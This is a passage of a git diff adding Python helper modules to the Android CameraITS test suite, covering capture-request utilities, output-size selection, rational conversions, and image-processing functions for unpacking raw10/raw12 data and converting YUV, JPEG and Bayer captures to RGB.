+  Args:
+   fmt: the output format, as a string in ['jpg', 'yuv', 'raw', 'raw10',
+     'raw12', 'y8'].
+   props: the object returned from its_session_utils.get_camera_properties().
+   max_size: (Optional) A (w,h) tuple.Sizes larger than max_size (either w or h)
+     will be discarded.
+   match_ar_size: (Optional) A (w,h) tuple.Sizes not matching the aspect ratio
+     of match_ar_size will be discarded.
+
+  Returns:
+    A sorted list of (w,h) tuples (sorted large-to-small).
+  """
+  ar_tolerance = 0.03
+  fmt_codes = {
+      'raw': 0x20,
+      'raw10': 0x25,
+      'raw12': 0x26,
+      'yuv': 0x23,
+      'jpg': 0x100,
+      'jpeg': 0x100,
+      'y8': 0x20203859
+  }
+  configs = props['android.scaler.streamConfigurationMap']\
+                   ['availableStreamConfigurations']
+  fmt_configs = [cfg for cfg in configs if cfg['format'] == fmt_codes[fmt]]
+  out_configs = [cfg for cfg in fmt_configs if not cfg['input']]
+  out_sizes = [(cfg['width'], cfg['height']) for cfg in out_configs]
+  if max_size:
+    out_sizes = [
+        s for s in out_sizes if s[0] <= max_size[0] and s[1] <= max_size[1]
+    ]
+  if match_ar_size:
+    ar = match_ar_size[0] / float(match_ar_size[1])
+    out_sizes = [
+        s for s in out_sizes if abs(ar - s[0] / float(s[1])) <= ar_tolerance
+    ]
+  out_sizes.sort(reverse=True, key=lambda s: s[0])  # 1st pass, sort by width
+  out_sizes.sort(reverse=True, key=lambda s: s[0] * s[1])  # sort by area
+  return out_sizes
+
+
+def float_to_rational(f, denom=128):
+  """Function to convert Python floats to Camera2 rationals.
+
+  Args:
+    f: python float or list of floats.
+    denom: (Optional) the denominator to use in the output rationals.
+
+  Returns:
+    Python dictionary or list of dictionaries representing the given
+    float(s) as rationals.
+  """
+  if isinstance(f, list):
+    return [{'numerator': math.floor(val*denom+0.5), 'denominator': denom}
+            for val in f]
+  else:
+    return {'numerator': math.floor(f*denom+0.5), 'denominator': denom}
+
+
+def rational_to_float(r):
+  """Function to convert Camera2 rational objects to Python floats.
+
+  Args:
+   r: Rational or list of rationals, as Python dictionaries.
+
+  Returns:
+   Float or list of floats.
+  """
+  if isinstance(r, list):
+    return [float(val['numerator']) / float(val['denominator']) for val in r]
+  else:
+    return float(r['numerator']) / float(r['denominator'])
+
+
+def get_fastest_manual_capture_settings(props):
+  """Returns a capture request and format spec for the fastest manual capture.
+
+  Args:
+     props: the object returned from its_session_utils.get_camera_properties().
+
+  Returns:
+    Two values, the first is a capture request, and the second is an output
+    format specification, for the fastest possible (legal) capture that
+    can be performed on this device (with the smallest output size).
+  """
+  fmt = 'yuv'
+  size = get_available_output_sizes(fmt, props)[-1]
+  out_spec = {'format': fmt, 'width': size[0], 'height': size[1]}
+  s = min(props['android.sensor.info.sensitivityRange'])
+  e = min(props['android.sensor.info.exposureTimeRange'])
+  req = manual_capture_request(s, e)
+
+  turn_slow_filters_off(props, req)
+
+  return req, out_spec
+
+
+def get_fastest_auto_capture_settings(props):
+  """Returns a capture request and format spec for the fastest auto capture.
+
+  Args:
+     props: the object returned from its_session_utils.get_camera_properties().
+
+  Returns:
+      Two values, the first is a capture request, and the second is an output
+      format specification, for the fastest possible (legal) capture that
+      can be performed on this device (with the smallest output size).
+  """
+  fmt = 'yuv'
+  size = get_available_output_sizes(fmt, props)[-1]
+  out_spec = {'format': fmt, 'width': size[0], 'height': size[1]}
+  req = auto_capture_request()
+
+  turn_slow_filters_off(props, req)
+
+  return req, out_spec
+
+
+def fastest_auto_capture_request(props):
+  """Return an auto capture request for the fastest capture.
+
+  Args:
+    props: the object returned from its.device.get_camera_properties().
+
+  Returns:
+    A capture request with everything set to auto and all filters that
+    may slow down capture set to OFF or FAST if possible
+  """
+  req = auto_capture_request()
+  turn_slow_filters_off(props, req)
+  return req
+
+
+def turn_slow_filters_off(props, req):
+  """Turn filters that may slow FPS down to OFF or FAST in input request.
+
+   This function modifies the request argument, such that filters that may
+   reduce the frames-per-second throughput of the camera device will be set to
+   OFF or FAST if possible.
+
+  Args:
+    props: the object returned from its_session_utils.get_camera_properties().
+    req: the input request.
+
+  Returns:
+    Nothing.
+  """
+  set_filter_off_or_fast_if_possible(
+      props, req, 'android.noiseReduction.availableNoiseReductionModes',
+      'android.noiseReduction.mode')
+  set_filter_off_or_fast_if_possible(
+      props, req, 'android.colorCorrection.availableAberrationModes',
+      'android.colorCorrection.aberrationMode')
+  if 'camera.characteristics.keys' in props:
+    chars_keys = props['camera.characteristics.keys']
+    hot_pixel_modes = 'android.hotPixel.availableHotPixelModes' in chars_keys
+    edge_modes = 'android.edge.availableEdgeModes' in chars_keys
+  if 'camera.characteristics.requestKeys' in props:
+    req_keys = props['camera.characteristics.requestKeys']
+    hot_pixel_mode = 'android.hotPixel.mode' in req_keys
+    edge_mode = 'android.edge.mode' in req_keys
+  if hot_pixel_modes and hot_pixel_mode:
+    set_filter_off_or_fast_if_possible(
+        props, req, 'android.hotPixel.availableHotPixelModes',
+        'android.hotPixel.mode')
+  if edge_modes and edge_mode:
+    set_filter_off_or_fast_if_possible(props, req,
+                                       'android.edge.availableEdgeModes',
+                                       'android.edge.mode')
+
+
+def set_filter_off_or_fast_if_possible(props, req, available_modes, filter_key):
+  """Check and set controlKey to off or fast in req.
+
+  Args:
+    props: the object returned from its.device.get_camera_properties().
+    req: the input request. filter will be set to OFF or FAST if possible.
+    available_modes: the key to check available modes.
+    filter_key: the filter key
+
+  Returns:
+    Nothing.
+  """
+  if available_modes in props:
+    if 0 in props[available_modes]:
+      req[filter_key] = 0
+    elif 1 in props[available_modes]:
+      req[filter_key] = 1
+
+
+def int_to_rational(i):
+  """Function to convert Python integers to Camera2 rationals.
+
+  Args:
+   i: Python integer or list of integers.
+
+  Returns:
+    Python dictionary or list of dictionaries representing the given int(s)
+    as rationals with denominator=1.
+  """
+  if isinstance(i, list):
+    return [{'numerator': val, 'denominator': 1} for val in i]
+  else:
+    return {'numerator': i, 'denominator': 1}
+
+
+def get_largest_yuv_format(props, match_ar=None):
+  """Return a capture request and format spec for the largest yuv size.
+
+  Args:
+    props: object returned from camera_properties_utils.get_camera_properties().
+    match_ar: (Optional) a (w, h) tuple. Aspect ratio to match during search.
+
+  Returns:
+    fmt:   an output format specification for the largest possible yuv format
+           for this device.
+  """
+  size = get_available_output_sizes('yuv', props, match_ar_size=match_ar)[0]
+  fmt = {'format': 'yuv', 'width': size[0], 'height': size[1]}
+
+  return fmt
+
+
+def get_smallest_yuv_format(props, match_ar=None):
+  """Return a capture request and format spec for the smallest yuv size.
+
+  Args:
+    props: object returned from camera_properties_utils.get_camera_properties().
+    match_ar: (Optional) a (w, h) tuple. Aspect ratio to match during search.
+
+  Returns:
+    fmt:   an output format specification for the smallest possible yuv format
+           for this device.
+  """
+  size = get_available_output_sizes('yuv', props, match_ar_size=match_ar)[-1]
+  fmt = {'format': 'yuv', 'width': size[0], 'height': size[1]}
+
+  return fmt
+
+
+def get_largest_jpeg_format(props, match_ar=None):
+  """Return a capture request and format spec for the largest jpeg size.
+
+  Args:
+    props: object returned from camera_properties_utils.get_camera_properties().
+    match_ar: (Optional) a (w, h) tuple. Aspect ratio to match during search.
+
+  Returns:
+    fmt:   an output format specification for the largest possible jpeg format
+           for this device.
+  """
+  size = get_available_output_sizes('jpeg', props, match_ar_size=match_ar)[0]
+  fmt = {'format': 'jpeg', 'width': size[0], 'height': size[1]}
+
+  return fmt
+
+
+def get_max_digital_zoom(props):
+  """Returns the maximum amount of zooming possible by the camera device.
+
+  Args:
+    props: the object returned from its.device.get_camera_properties().
+
+  Return:
+    A float indicating the maximum amount of zoom possible by the camera device.
+  """
+
+  max_z = 1.0
+  if 'android.scaler.availableMaxDigitalZoom' in props:
+    max_z = props['android.scaler.availableMaxDigitalZoom']
+
+  return max_z
+
+
+class CaptureRequestUtilsTest(unittest.TestCase):
+  """Unit tests for this module.
+
+  Ensures rational number conversion dicts are created properly.
+  """
+  _FLOAT_HALF = 0.5
+  # No immutable container: frozendict requires package install on partner host
+  _RATIONAL_HALF = {'numerator': 32, 'denominator': 64}
+
+  def test_float_to_rational(self):
+    """Unit test for float_to_rational."""
+    self.assertEqual(
+        float_to_rational(self._FLOAT_HALF, 64), self._RATIONAL_HALF)
+
+  def test_rational_to_float(self):
+    """Unit test for rational_to_float."""
+    self.assertTrue(
+        math.isclose(rational_to_float(self._RATIONAL_HALF),
+                     self._FLOAT_HALF, abs_tol=0.0001))
+
+  def test_int_to_rational(self):
+    """Unit test for int_to_rational."""
+    rational_10 = {'numerator': 10, 'denominator': 1}
+    rational_1 = {'numerator': 1, 'denominator': 1}
+    rational_2 = {'numerator': 2, 'denominator': 1}
+    # Simple test
+    self.assertEqual(int_to_rational(10), rational_10)
+    # Handle list entries
+    self.assertEqual(
+        int_to_rational([1, 2]), [rational_1, rational_2])
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS/utils/error_util.py b/apps/CameraITS/utils/error_util.py
new file mode 100644
index 0000000..869cb09
--- /dev/null
+++ b/apps/CameraITS/utils/error_util.py
@@ -0,0 +1,18 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Exception raised during ITS test execution."""
+
+
+class CameraItsError(Exception):
+  pass
diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py
new file mode 100644
index 0000000..dd7ea4d
--- /dev/null
+++ b/apps/CameraITS/utils/image_processing_utils.py
@@ -0,0 +1,868 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Image processing utility functions."""
+
+
+import copy
+import io
+import logging
+import math
+import os
+import random
+import sys
+import unittest
+
+import numpy
+from PIL import Image
+
+
+import cv2
+import capture_request_utils
+import error_util
+
+# The matrix is from JFIF spec
+DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([[1.000, 0.000, 1.402],
+                                       [1.000, -0.344, -0.714],
+                                       [1.000, 1.772, 0.000]])
+
+DEFAULT_YUV_OFFSETS = numpy.array([0, 128, 128])
+MAX_LUT_SIZE = 65536
+DEFAULT_GAMMA_LUT = numpy.array([
+    math.floor((MAX_LUT_SIZE-1) * math.pow(i/(MAX_LUT_SIZE-1), 1/2.2) + 0.5)
+    for i in range(MAX_LUT_SIZE)])
+NUM_TRIES = 2
+NUM_FRAMES = 4
+TEST_IMG_DIR = os.path.join(os.environ['CAMERA_ITS_TOP'], 'test_images')
+
+
+# pylint: disable=unused-argument
+def convert_capture_to_rgb_image(cap,
+                                 ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
+                                 yuv_off=DEFAULT_YUV_OFFSETS,
+                                 props=None):
+  """Convert a captured image object to a RGB image.
+
+  Args:
+     cap: A capture object as returned by its_session_utils.do_capture.
+     ccm_yuv_to_rgb: (Optional) the 3x3 CCM to convert from YUV to RGB.
+     yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
+     props: (Optional) camera properties object (of static values);
+            required for processing raw images.
+
+  Returns:
+        RGB float-3 image array, with pixel values in [0.0, 1.0].
+  """
+  w = cap['width']
+  h = cap['height']
+  if cap['format'] == 'raw10':
+    assert props is not None
+    cap = unpack_raw10_capture(cap)
+
+  if cap['format'] == 'raw12':
+    assert props is not None
+    cap = unpack_raw12_capture(cap)
+
+  if cap['format'] == 'yuv':
+    y = cap['data'][0: w * h]
+    u = cap['data'][w * h: w * h * 5//4]
+    v = cap['data'][w * h * 5//4: w * h * 6//4]
+    return convert_yuv420_planar_to_rgb_image(y, u, v, w, h)
+  elif cap['format'] == 'jpeg':
+    return decompress_jpeg_to_rgb_image(cap['data'])
+  elif cap['format'] == 'raw' or cap['format'] == 'rawStats':
+    assert props is not None
+    r, gr, gb, b = convert_capture_to_planes(cap, props)
+    return convert_raw_to_rgb_image(r, gr, gb, b, props, cap['metadata'])
+  elif cap['format'] == 'y8':
+    y = cap['data'][0: w * h]
+    return convert_y8_to_rgb_image(y, w, h)
+  else:
+    raise error_util.CameraItsError('Invalid format %s' % (cap['format']))
+
+
+def unpack_raw10_capture(cap):
+  """Unpack a raw-10 capture to a raw-16 capture.
+
+  Args:
+    cap: A raw-10 capture object.
+
+  Returns:
+    New capture object with raw-16 data.
+  """
+  # Data is packed as 4x10b pixels in 5 bytes, with the first 4 bytes holding
+  # the MSBs of the pixels, and the 5th byte holding 4x2b LSBs.
+  w, h = cap['width'], cap['height']
+  if w % 4 != 0:
+    raise error_util.CameraItsError('Invalid raw-10 buffer width')
+  cap = copy.deepcopy(cap)
+  cap['data'] = unpack_raw10_image(cap['data'].reshape(h, w * 5 // 4))
+  cap['format'] = 'raw'
+  return cap
+
+
+def unpack_raw10_image(img):
+  """Unpack a raw-10 image to a raw-16 image.
+
+  Output image will have the 10 LSBs filled in each 16b word, and the 6 MSBs
+  will be set to zero.
+
+  Args:
+    img: A raw-10 image, as a uint8 numpy array.
+
+  Returns:
+    Image as a uint16 numpy array, with all row padding stripped.
+  """
+  if img.shape[1] % 5 != 0:
+    raise error_util.CameraItsError('Invalid raw-10 buffer width')
+  w = img.shape[1] * 4 // 5
+  h = img.shape[0]
+  # Cut out the 4x8b MSBs and shift to bits [9:2] in 16b words.
+  msbs = numpy.delete(img, numpy.s_[4::5], 1)
+  msbs = msbs.astype(numpy.uint16)
+  msbs = numpy.left_shift(msbs, 2)
+  msbs = msbs.reshape(h, w)
+  # Cut out the 4x2b LSBs and put each in bits [1:0] of their own 8b words.
+  lsbs = img[::, 4::5].reshape(h, w // 4)
+  lsbs = numpy.right_shift(
+      numpy.packbits(numpy.unpackbits(lsbs).reshape(h, w // 4, 4, 2), 3), 6)
+  # Pair the LSB bits group to 0th pixel instead of 3rd pixel
+  lsbs = lsbs.reshape(h, w // 4, 4)[:, :, ::-1]
+  lsbs = lsbs.reshape(h, w)
+  # Fuse the MSBs and LSBs back together
+  img16 = numpy.bitwise_or(msbs, lsbs).reshape(h, w)
+  return img16
+
+
+def unpack_raw12_capture(cap):
+  """Unpack a raw-12 capture to a raw-16 capture.
+
+  Args:
+    cap: A raw-12 capture object.
+
+  Returns:
+     New capture object with raw-16 data.
+  """
+  # Data is packed as 4x10b pixels in 5 bytes, with the first 4 bytes holding
+  # the MSBs of the pixels, and the 5th byte holding 4x2b LSBs.
+  w, h = cap['width'], cap['height']
+  if w % 2 != 0:
+    raise error_util.CameraItsError('Invalid raw-12 buffer width')
+  cap = copy.deepcopy(cap)
+  cap['data'] = unpack_raw12_image(cap['data'].reshape(h, w * 3 // 2))
+  cap['format'] = 'raw'
+  return cap
+
+
+def unpack_raw12_image(img):
+  """Unpack a raw-12 image to a raw-16 image.
+
+  Output image will have the 12 LSBs filled in each 16b word, and the 4 MSBs
+  will be set to zero.
+
+  Args:
+   img: A raw-12 image, as a uint8 numpy array.
+
+  Returns:
+    Image as a uint16 numpy array, with all row padding stripped.
+  """
+  if img.shape[1] % 3 != 0:
+    raise error_util.CameraItsError('Invalid raw-12 buffer width')
+  w = img.shape[1] * 2 // 3
+  h = img.shape[0]
+  # Cut out the 2x8b MSBs and shift to bits [11:4] in 16b words.
+  msbs = numpy.delete(img, numpy.s_[2::3], 1)
+  msbs = msbs.astype(numpy.uint16)
+  msbs = numpy.left_shift(msbs, 4)
+  msbs = msbs.reshape(h, w)
+  # Cut out the 2x4b LSBs and put each in bits [3:0] of their own 8b words.
+  lsbs = img[::, 2::3].reshape(h, w // 2)
+  lsbs = numpy.right_shift(
+      numpy.packbits(numpy.unpackbits(lsbs).reshape(h, w // 2, 2, 4), 3), 4)
+  # Pair the LSB bits group to pixel 0 instead of pixel 1
+  lsbs = lsbs.reshape(h, w // 2, 2)[:, :, ::-1]
+  lsbs = lsbs.reshape(h, w)
+  # Fuse the MSBs and LSBs back together
+  img16 = numpy.bitwise_or(msbs, lsbs).reshape(h, w)
+  return img16
+
+
+def convert_yuv420_planar_to_rgb_image(y_plane, u_plane, v_plane,
+                                       w, h,
+                                       ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
+                                       yuv_off=DEFAULT_YUV_OFFSETS):
+  """Convert a YUV420 8-bit planar image to an RGB image.
+
+  Args:
+    y_plane: The packed 8-bit Y plane.
+    u_plane: The packed 8-bit U plane.
+    v_plane: The packed 8-bit V plane.
+    w: The width of the image.
+    h: The height of the image.
+    ccm_yuv_to_rgb: (Optional) the 3x3 CCM to convert from YUV to RGB.
+    yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
+
+  Returns:
+    RGB float-3 image array, with pixel values in [0.0, 1.0].
+  """
+  y = numpy.subtract(y_plane, yuv_off[0])
+  u = numpy.subtract(u_plane, yuv_off[1]).view(numpy.int8)
+  v = numpy.subtract(v_plane, yuv_off[2]).view(numpy.int8)
+  u = u.reshape(h // 2, w // 2).repeat(2, axis=1).repeat(2, axis=0)
+  v = v.reshape(h // 2, w // 2).repeat(2, axis=1).repeat(2, axis=0)
+  yuv = numpy.dstack([y, u.reshape(w * h), v.reshape(w * h)])
+  flt = numpy.empty([h, w, 3], dtype=numpy.float32)
+  flt.reshape(w * h * 3)[:] = yuv.reshape(h * w * 3)[:]
+  flt = numpy.dot(flt.reshape(w * h, 3), ccm_yuv_to_rgb.T).clip(0, 255)
+  rgb = numpy.empty([h, w, 3], dtype=numpy.uint8)
+  rgb.reshape(w * h * 3)[:] = flt.reshape(w * h * 3)[:]
+  return rgb.astype(numpy.float32) / 255.0
+
+
+def decompress_jpeg_to_rgb_image(jpeg_buffer):
+  """Decompress a JPEG-compressed image, returning as an RGB image.
+
+  Args:
+    jpeg_buffer: The JPEG stream.
+
+  Returns:
+     A numpy array for the RGB image, with pixels in [0,1].
+  """
+  img = Image.open(io.BytesIO(jpeg_buffer))
+  w = img.size[0]
+  h = img.size[1]
+  return numpy.array(img).reshape(h, w, 3) / 255.0
+
+
+def convert_capture_to_planes(cap, props=None):
+  """Convert a captured image object to separate image planes.
+
+  Decompose an image into multiple images, corresponding to different planes.
+
+  For YUV420 captures ("yuv"):
+        Returns Y,U,V planes, where the Y plane is full-res and the U,V planes
+        are each 1/2 x 1/2 of the full res.
+
+    For Bayer captures ("raw", "raw10", "raw12", or "rawStats"):
+        Returns planes in the order R,Gr,Gb,B, regardless of the Bayer pattern
+        layout. For full-res raw images ("raw", "raw10", "raw12"), each plane
+        is 1/2 x 1/2 of the full res. For "rawStats" images, the mean image
+        is returned.
+
+    For JPEG captures ("jpeg"):
+        Returns R,G,B full-res planes.
+
+  Args:
+    cap: A capture object as returned by its_session_utils.do_capture.
+    props: (Optional) camera properties object (of static values);
+            required for processing raw images.
+
+  Returns:
+    A tuple of float numpy arrays (one per plane), consisting of pixel values
+    in the range [0.0, 1.0].
+  """
+  w = cap['width']
+  h = cap['height']
+  if cap['format'] == 'raw10':
+    assert props is not None
+    cap = unpack_raw10_capture(cap)
+  if cap['format'] == 'raw12':
+    assert props is not None
+    cap = unpack_raw12_capture(cap)
+  if cap['format'] == 'yuv':
+    y = cap['data'][0:w * h]
+    u = cap['data'][w * h:w * h * 5 // 4]
+    v = cap['data'][w * h * 5 // 4:w * h * 6 // 4]
+    return ((y.astype(numpy.float32) / 255.0).reshape(h, w, 1),
+            (u.astype(numpy.float32) / 255.0).reshape(h // 2, w // 2, 1),
+            (v.astype(numpy.float32) / 255.0).reshape(h // 2, w // 2, 1))
+  elif cap['format'] == 'jpeg':
+    rgb = decompress_jpeg_to_rgb_image(cap['data']).reshape(w * h * 3)
+    return (rgb[::3].reshape(h, w, 1), rgb[1::3].reshape(h, w, 1),
+            rgb[2::3].reshape(h, w, 1))
+  elif cap['format'] == 'raw':
+    assert props is not None
+    white_level = float(props['android.sensor.info.whiteLevel'])
+    img = numpy.ndarray(
+        shape=(h * w,), dtype='<u2', buffer=cap['data'][0:w * h * 2])
+    img = img.astype(numpy.float32).reshape(h, w) / white_level
+    # Crop the raw image to the active array region.
+    if (props.get('android.sensor.info.preCorrectionActiveArraySize') is
+        not None and
+        props.get('android.sensor.info.pixelArraySize') is not None):
+      # Note that the Rect class is defined such that the left,top values
+      # are "inside" while the right,bottom values are "outside"; that is,
+      # it's inclusive of the top,left sides only. So, the width is
+      # computed as right-left, rather than right-left+1, etc.
+      wfull = props['android.sensor.info.pixelArraySize']['width']
+      hfull = props['android.sensor.info.pixelArraySize']['height']
+      xcrop = props['android.sensor.info.preCorrectionActiveArraySize']['left']
+      ycrop = props['android.sensor.info.preCorrectionActiveArraySize']['top']
+      wcrop = props['android.sensor.info.preCorrectionActiveArraySize'][
+          'right'] - xcrop
+      hcrop = props['android.sensor.info.preCorrectionActiveArraySize'][
+          'bottom'] - ycrop
+      assert wfull >= wcrop >= 0
+      assert hfull >= hcrop >= 0
+      assert wfull - wcrop >= xcrop >= 0
+      assert hfull - hcrop >= ycrop >= 0
+      if w == wfull and h == hfull:
+        # Crop needed; extract the center region.
+        img = img[ycrop:ycrop + hcrop, xcrop:xcrop + wcrop]
+        w = wcrop
+        h = hcrop
+      elif w == wcrop and h == hcrop:
+        logging.debug('Image is already cropped.No cropping needed.')
+        # pylint: disable=pointless-statement
+        None
+      else:
+        raise error_util.CameraItsError('Invalid image size metadata')
+    # Separate the image planes.
+    imgs = [
+        img[::2].reshape(w * h // 2)[::2].reshape(h // 2, w // 2, 1),
+        img[::2].reshape(w * h // 2)[1::2].reshape(h // 2, w // 2, 1),
+        img[1::2].reshape(w * h // 2)[::2].reshape(h // 2, w // 2, 1),
+        img[1::2].reshape(w * h // 2)[1::2].reshape(h // 2, w // 2, 1)
+    ]
+    idxs = get_canonical_cfa_order(props)
+    return [imgs[i] for i in idxs]
+  elif cap['format'] == 'rawStats':
+    assert props is not None
+    white_level = float(props['android.sensor.info.whiteLevel'])
+    # pylint: disable=unused-variable
+    mean_image, var_image = unpack_rawstats_capture(cap)
+    idxs = get_canonical_cfa_order(props)
+    return [mean_image[:, :, i] / white_level for i in idxs]
+  else:
+    raise error_util.CameraItsError('Invalid format %s' % (cap['format']))
+
+
+def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props,
+                             cap_res):
+  """Convert a Bayer raw-16 image to an RGB image.
+
+  Includes some extremely rudimentary demosaicking and color processing
+  operations; the output of this function shouldn't be used for any image
+  quality analysis.
+
+  Args:
+   r_plane:
+   gr_plane:
+   gb_plane:
+   b_plane: Numpy arrays for each color plane
+            in the Bayer image, with pixels in the [0.0, 1.0] range.
+   props: Camera properties object.
+   cap_res: Capture result (metadata) object.
+
+  Returns:
+    RGB float-3 image array, with pixel values in [0.0, 1.0]
+  """
+    # Values required for the RAW to RGB conversion.
+  assert props is not None
+  white_level = float(props['android.sensor.info.whiteLevel'])
+  black_levels = props['android.sensor.blackLevelPattern']
+  gains = cap_res['android.colorCorrection.gains']
+  ccm = cap_res['android.colorCorrection.transform']
+
+  # Reorder black levels and gains to R,Gr,Gb,B, to match the order
+  # of the planes.
+  black_levels = [get_black_level(i, props, cap_res) for i in range(4)]
+  gains = get_gains_in_canonical_order(props, gains)
+
+  # Convert CCM from rational to float, as numpy arrays.
+  ccm = numpy.array(capture_request_utils.rational_to_float(ccm)).reshape(3, 3)
+
+  # Need to scale the image back to the full [0,1] range after subtracting
+  # the black level from each pixel.
+  scale = white_level / (white_level - max(black_levels))
+
+  # Three-channel black levels, normalized to [0,1] by white_level.
+  black_levels = numpy.array(
+      [b / white_level for b in [black_levels[i] for i in [0, 1, 3]]])
+
+  # Three-channel gains.
+  gains = numpy.array([gains[i] for i in [0, 1, 3]])
+
+  h, w = r_plane.shape[:2]
+  img = numpy.dstack([r_plane, (gr_plane + gb_plane) / 2.0, b_plane])
+  img = (((img.reshape(h, w, 3) - black_levels) * scale) * gains).clip(0.0, 1.0)
+  img = numpy.dot(img.reshape(w * h, 3), ccm.T).reshape(h, w, 3).clip(0.0, 1.0)
+  return img
+
+
+def convert_y8_to_rgb_image(y_plane, w, h):
+  """Convert a Y 8-bit image to an RGB image.
+
+  Args:
+    y_plane: The packed 8-bit Y plane.
+    w: The width of the image.
+    h: The height of the image.
+
+  Returns:
+    RGB float-3 image array, with pixel values in [0.0, 1.0].
+  """
+  y3 = numpy.dstack([y_plane, y_plane, y_plane])
+  rgb = numpy.empty([h, w, 3], dtype=numpy.uint8)
+  rgb.reshape(w * h * 3)[:] = y3.reshape(w * h * 3)[:]
+  return rgb.astype(numpy.float32) / 255.0
+
+
+def write_image(img, fname, apply_gamma=False):
+  """Save a float-3 numpy array image to a file.
+
+  Supported formats: PNG, JPEG, and others; see PIL docs for more.
+
+  Image can be 3-channel, which is interpreted as RGB, or can be 1-channel,
+  which is greyscale.
+
+  Can optionally specify that the image should be gamma-encoded prior to
+  writing it out; this should be done if the image contains linear pixel
+  values, to make the image look "normal".
+
+  Args:
+   img: Numpy image array data.
+   fname: Path of file to save to; the extension specifies the format.
+   apply_gamma: (Optional) apply gamma to the image prior to writing it.
+  """
+  if apply_gamma:
+    img = apply_lut_to_image(img, DEFAULT_GAMMA_LUT)
+  (h, w, chans) = img.shape
+  if chans == 3:
+    Image.fromarray((img * 255.0).astype(numpy.uint8), 'RGB').save(fname)
+  elif chans == 1:
+    img3 = (img * 255.0).astype(numpy.uint8).repeat(3).reshape(h, w, 3)
+    Image.fromarray(img3, 'RGB').save(fname)
+  else:
+    raise error_util.CameraItsError('Unsupported image type')
+
+
+def apply_lut_to_image(img, lut):
+  """Applies a LUT to every pixel in a float image array.
+
+  Internally converts to a 16b integer image, since the LUT can work with up
+  to 16b->16b mappings (i.e. values in the range [0,65535]). The lut can also
+  have fewer than 65536 entries, however it must be sized as a power of 2
+  (and for smaller luts, the scale must match the bitdepth).
+
+  For a 16b lut of 65536 entries, the operation performed is:
+
+  lut[r * 65535] / 65535 -> r'
+  lut[g * 65535] / 65535 -> g'
+  lut[b * 65535] / 65535 -> b'
+
+  For a 10b lut of 1024 entries, the operation becomes:
+
+  lut[r * 1023] / 1023 -> r'
+  lut[g * 1023] / 1023 -> g'
+  lut[b * 1023] / 1023 -> b'
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+    lut: Numpy table encoding a LUT, mapping 16b integer values.
+
+  Returns:
+    Float image array after applying LUT to each pixel.
+  """
+  n = len(lut)
+  if n <= 0 or n > MAX_LUT_SIZE or (n & (n - 1)) != 0:
+    raise error_util.CameraItsError('Invalid arg LUT size: %d' % (n))
+  m = float(n - 1)
+  return (lut[(img * m).astype(numpy.uint16)] / m).astype(numpy.float32)
+
+
+def get_gains_in_canonical_order(props, gains):
+  """Reorders the gains tuple to the canonical R,Gr,Gb,B order.
+
+  Args:
+    props: Camera properties object.
+    gains: List of 4 values, in R,G_even,G_odd,B order.
+
+  Returns:
+    List of gains values, in R,Gr,Gb,B order.
+  """
+  cfa_pat = props['android.sensor.info.colorFilterArrangement']
+  if cfa_pat in [0, 1]:
+    # RGGB or GRBG, so G_even is Gr
+    return gains
+  elif cfa_pat in [2, 3]:
+    # GBRG or BGGR, so G_even is Gb
+    return [gains[0], gains[2], gains[1], gains[3]]
+  else:
+    raise error_util.CameraItsError('Not supported')
+
+
+def get_black_level(chan, props, cap_res=None):
+  """Return the black level to use for a given capture.
+
+  Uses a dynamic value from the capture result if available, else falls back
+  to the static global value in the camera characteristics.
+
+  Args:
+    chan: The channel index, in canonical order (R, Gr, Gb, B).
+    props: The camera properties object.
+    cap_res: A capture result object.
+
+  Returns:
+    The black level value for the specified channel.
+  """
+  if (cap_res is not None and
+      'android.sensor.dynamicBlackLevel' in cap_res and
+      cap_res['android.sensor.dynamicBlackLevel'] is not None):
+    black_levels = cap_res['android.sensor.dynamicBlackLevel']
+  else:
+    black_levels = props['android.sensor.blackLevelPattern']
+  idxs = get_canonical_cfa_order(props)
+  ordered_black_levels = [black_levels[i] for i in idxs]
+  return ordered_black_levels[chan]
+
+
+def get_canonical_cfa_order(props):
+  """Returns a mapping to the standard order R,Gr,Gb,B.
+
+  Returns a mapping from the Bayer 2x2 top-left grid in the CFA to the standard
+  order R,Gr,Gb,B.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     List of 4 integers, corresponding to the positions in the 2x2 top-
+     left Bayer grid of R,Gr,Gb,B, where the 2x2 grid is labeled as
+     0,1,2,3 in row major order.
+  """
+    # Note that raw streams aren't croppable, so the cropRegion doesn't need
+    # to be considered when determining the top-left pixel color.
+  cfa_pat = props['android.sensor.info.colorFilterArrangement']
+  if cfa_pat == 0:
+    # RGGB
+    return [0, 1, 2, 3]
+  elif cfa_pat == 1:
+    # GRBG
+    return [1, 0, 3, 2]
+  elif cfa_pat == 2:
+    # GBRG
+    return [2, 3, 0, 1]
+  elif cfa_pat == 3:
+    # BGGR
+    return [3, 2, 1, 0]
+  else:
+    raise error_util.CameraItsError('Not supported')
+
+
+def unpack_rawstats_capture(cap):
+  """Unpack a rawStats capture to the mean and variance images.
+
+  Args:
+    cap: A capture object as returned by its_session_utils.do_capture.
+
+  Returns:
+    Tuple (mean_image var_image) of float-4 images, with non-normalized
+    pixel values computed from the RAW16 images on the device
+  """
